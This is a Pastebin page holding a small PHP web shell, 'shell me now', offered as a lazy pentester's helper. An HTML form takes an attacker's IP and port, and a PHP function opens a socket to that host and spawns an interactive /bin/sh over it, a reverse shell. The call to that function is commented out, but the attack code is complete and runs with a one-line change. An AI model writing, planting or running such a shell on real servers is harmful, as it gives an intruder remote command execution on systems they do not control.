Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <h1>shell me now !!!</h1>
- <p>Because sometimes, during pentest you get lazy and need
- to quickly generate that shell.
- </p>
- <form action="smn.php" method="post">
- Attacking from IP:<br> <input type="text" name="atkip" placeholder="10.10.66.66"><br><br>
- Attacking port :<br> <input type="text" name="lport" placeholder="1337"><br><br>
- <input type="submit" value="SHELL ME NOW">
- </form>
- </html>
- <?php
- //___________functions____________________________________
- function shell($xip,$xport){
- $sock=fsockopen("$xip",$xport);
- exec("/bin/sh -i <&3 >&3 2>&3");
- echo "shell was generated, check your CLI ;) ";
- }
- //___________main ____________________________________
- if (!empty ($_POST['atkip']) && !empty ($_POST['lport'])){
- $atkip = $_POST['atkip'];
- $lport = $_POST['lport'];
- echo "your attacking ip : $atkip with port : $lport";
- //shell($atkip,$lport);
- }
- if (empty($_POST['atkip'])){ echo "Please enter IP <br>";}
- if (empty($_POST['lport'])){ echo "Please enter port <br>";}
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement